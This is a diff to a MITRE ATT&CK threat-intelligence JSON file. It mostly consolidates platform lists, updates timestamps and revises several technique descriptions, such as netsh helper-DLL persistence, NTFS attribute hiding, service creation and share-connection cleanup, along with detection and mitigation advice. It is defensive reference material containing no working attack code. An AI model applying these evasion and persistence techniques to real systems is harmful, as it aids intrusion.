@@ -7979,9 +8438,9 @@
             "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:11.147Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NTFS Extended Attributes",
-            "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA)\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder. (Citation: Microsoft File Streams)\n\nDetection: Forensic techniques exist to identify information stored in EA. (Citation: Journey into IR ZeroAccess NTFS EA) It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Kernel drivers\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive",
+            "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA)\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder. (Citation: Microsoft File Streams)\n\nDetection: Forensic techniques exist to identify information stored in EA. (Citation: Journey into IR ZeroAccess NTFS EA) It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8017,30 +8476,19 @@
                 "Anti-virus",
                 "Host forensic analysis"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_system_requirements": [
                 "NTFS partitioned hard drive"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--624d063d-cda8-4616-b4e4-54c04e427aec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Netsh Helper DLL Mitigation",
             "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
             "external_references": [
@@ -8071,9 +8519,9 @@
             "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:40.168Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Netsh Helper DLL",
-            "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward",
+            "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)\n\nDetection: It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)\n\nPlatforms: Windows\n\nData Sources: Process monitoring, DLL monitoring, Windows Registry\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: netsh\n\nContributors: Matthew Demaske, Adaptforward",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8118,18 +8566,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "[[Software/S0108|netsh]]"
@@ -8139,8 +8576,8 @@
             "type": "course-of-action",
             "id": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Service Scanning Mitigation",
             "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -8181,9 +8618,9 @@
             "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:43.915Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Service Scanning",
-            "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8207,35 +8644,23 @@
                 "Process command-line parameters",
                 "Process use of network"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "Linux",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator",
                 "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Share Connection Removal Mitigation",
             "description": "Follow best practices for mitigation of activity related to establishing Windows Admin Shares. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -8276,9 +8701,9 @@
             "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:38.350Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Share Connection Removal",
-            "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.",
+            "description": "Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.\n\nDetection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8314,18 +8739,7 @@
                 "Host forensic analysis"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Established network share connection to a remote system. Level of access depends on permissions of the account used."
@@ -8335,8 +8749,8 @@
             "type": "course-of-action",
             "id": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Share Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -8377,9 +8791,9 @@
             "id": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Share Discovery",
-            "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User",
+            "description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8412,32 +8826,20 @@
                 "Network protocol analysis",
                 "Process use of network"
             ],
+            "x_mitre_platforms": [
+                "macOS",
+                "Windows"
+            ],
             "x_mitre_permissions_required": [
                 "User"
-            ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "MacOS",
-                "OS X"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Sniffing Mitigation",
             "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -8478,9 +8880,9 @@
             "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:41.399Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Sniffing",
-            "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, Address Resolution Protocol (ARP) and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver",
+            "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8502,27 +8904,15 @@
                 "Host network interface",
                 "Netflow/Enclave netflow"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "Network interface access and packet capture driver"
             ]
@@ -8531,8 +8921,8 @@
             "type": "course-of-action",
             "id": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "New Service Mitigation",
             "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only  authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -8573,9 +8963,9 @@
             "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:45.613Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "New Service",
-            "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.\n\nDetection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8619,18 +9009,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
@@ -8638,9 +9017,9 @@
             "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:32.662Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Obfuscated Files or Information",
-            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system.\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems",
+            "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system. This is common behavior that can be used across different platforms to evade defenses. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8652,6 +9031,11 @@
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1027",
                     "external_id": "T1027"
+                },
+                {
+                    "source_name": "Linux/Cdorked.A We Live Security Analysis",
